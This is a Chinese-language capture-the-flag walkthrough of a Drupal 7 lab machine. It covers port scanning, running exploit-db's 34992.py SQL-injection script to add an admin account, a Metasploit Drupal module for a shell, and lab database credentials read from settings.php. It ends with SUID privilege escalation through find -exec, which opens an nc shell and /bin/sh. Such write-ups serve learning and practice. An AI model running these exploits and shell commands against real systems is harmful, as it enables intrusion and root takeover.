1.这个题我觉得对刚入门的我来说,十分的困难,参考了很多资料做了很长的时间才解决
2.对端口信息扫描,探测存在22和80端口,但22端口ssh爆破无果,登录网站后发现是Drupal框
架,版本是7.x但不确定是哪个x
3.利用searchsploit搜索Drupal历史漏洞,并成功利用exp添加管理员账号,利用该账号登录页面
后在content的地方发现flag3,的确很不科学,一开始就跳到flag3
4.于是用meta打18年的exp,成功得到shell,但不好的地方是我没有用python的完全交互tty,
但对后面过程的确没有影响
5.得到msf的shell之后查看文件即可得到flag1,flag1提示找Drupal框架的数据库的文件
6.找到数据库文件后,我才意识到这个题的意思是可以通过数据库更新admin密码的方式登录到网站
得到flag3,但如果这个思路走不通,也可以尝试用searchsploit。
7.根据flag3的提示查看passwd文件得到flag4,但提示要root权限
8.使用suid的提权方法去提权
9.通过这次的靶机,我学到了很多东西,但对我来讲的确挺难的,渗透之路漫漫,继续保持努力
老方法还是先探测存活的主机,因为vm box没给IP,很有意思(23333
netdiscover -i eth0 -r 192.168.0.0/24
使用nmap -sS -p 1-65535 –open 192.168.0.119探测开放的端口
对于111端口的rpcbind服务,搜索了下,网上的解释是这样的
RPC即Remote Procedure Call Protocol(远程过程调用协议),RPCBIND用于取代旧版本中的
portmap组件。 简单说,RPCBIND就是为了将不同服务与对应的端口进行绑定,以便支持机器间的
互操作
看到开放了22端口和80端口,那就先去网页看看,然后待会再尝试玩玩ssh爆破一下
对账号密码框进行sql注入,弱口令爆破,但无法成功,只能尝试工具了。(毕竟还是个脚本小子 哈哈哈)御剑上去扫一下
很尴尬,御剑字典不够强大还是什么,扫不出来东西。我回去看了下我之前用nmap探测端口的详细信息是发现这个站有robots的
的确也能进去,可是为什么御剑没扫出来
搜索了一下,Drupal框架最重要的文件是changelog.txt,于是尝试进入一下,发现已经被删除了,其他的user/password进去后发现暂时还没办法利用
网页上很明显的提醒了是Drupal的cms框架,我想用whatweb探测一下有什么内容
我网上搜索了一些资料,了解到Drupal 7.31版本是存在sql注入漏洞的 :2014年10月16日有国外安全研究人员在Twitter上曝出了Drupal 7.31版本的最新SQL注入漏洞,并给出了利用测试的EXP代码,该利用代码可成功执行并在数据库中增加一个攻击者自定义的用户。
探测到是Drupal 7版本,但具体版本是什么,并不知道,于是用searchsploit搜索一下Drupal漏洞的历史记录
发现这里是个突破口,这是个思路,我选择的是34992.py这个exp
/usr/share/exploitdb/exploits/php/webapps/34992.py 选择这个模块之后查看如何使用,
python /usr/share/exploitdb/exploits/php/webapps/34992.py -u admin -p 123456 --target http://192.168.0.119/
攻击成功添加账号密码,尝试登录一下后台看看什么个情况
但是!居然登录不了,我认为是原本就有admin和他对应的密码,所以要创建一个不是admin的账号才能成功登录后台
进入之后摸索了很久发现了flag3
flag3内容
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
-exec
Shadow
触及知识盲区 再研究研究,但好像这样直接flag3了 ,有点不科学,
特殊的PERMS可以帮助找到密码-但您需要-exec该命令来确定如何获取隐藏的内容。, 特别PERMS将有助于找到passwd文件 - 但你需要-exec该命令的工作如何获得什么在shadow
我搜索了一下 就是说
1要我们去查看passwd文件,或者shadow文件
2看到perm要猜测可能是suid提权(好难!根本没学过,狂搜资料
这里先放着
我现在先用Metasploit搜索drupal
Msfconsole启动,每次都很骚有没有
Search Drupa
可以看到攻击点有很多,有14年的sql注入漏洞,16年的命令注入漏洞,19年的反序列化RCE漏洞等等,但我看上了18年的
老规矩 use目录之后 查看一下要设置的选项,show options,yes而且有数据的,证明是设置好的,只需要设置没有数据的
Set RHOSTS 192.168.0.119 然后run
查看当前位置和目录
发现了flag1
每个好的CMS框架都需要一个数据库配置文件,你也一样。
搜索浏览器可知drupal的数据库配置文件在/sites/default/settings.php
查看之后发现flag2
翻译:蛮力和字典攻击不是
*只有获得访问的方法(您将需要访问)。
你能用这些凭证做什么?
获得数据库和账号密码
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
原来这里的意思就是说利用这个账号密码连进数据库,然后更新里边admin的密码,然后登录到后台,寻找flag3内容但其实看了内容还不懂什么意思,蛮力和字典的话,我看了其他大表哥的解题是用hrdya暴力破解flag4,但发现flag4好像不用破解也能读取到里边的内容而且和最后的flag没有冲突
因为上文开始就用searchsploit的exp添加了账号密码登录进去后台并找到了flag3,其实看了内容还不懂什么意思,但有提示passwd,就是要看etc/passwd文件,我在meter进入shell后,的确在最下面看到了flag4这个文件内容
但是他说我权限不够,这个时候我才懂什么意思,就是要用flag3提示的suid提权方式得到root权限才能查看最后那个flag内容,才算结束这个靶机的任务。
SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在
Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个
用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,
将获取文件所有者的权限以及所有者的UID和GID。
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
找到root权限的suid的find
然后/usr/bin/find /home/flag4/flag4.txt -exec nc -nlvp 1234 -e /bin/sh ;
再另开一个窗口接收靶机的nc反弹root权限shell就可以查看最后的flag了
find . -exec '/bin/sh' \;
先touch XXX创建一个文件
然后:find / -type f -name getflag -exec "whoami" \;
如下图所示方法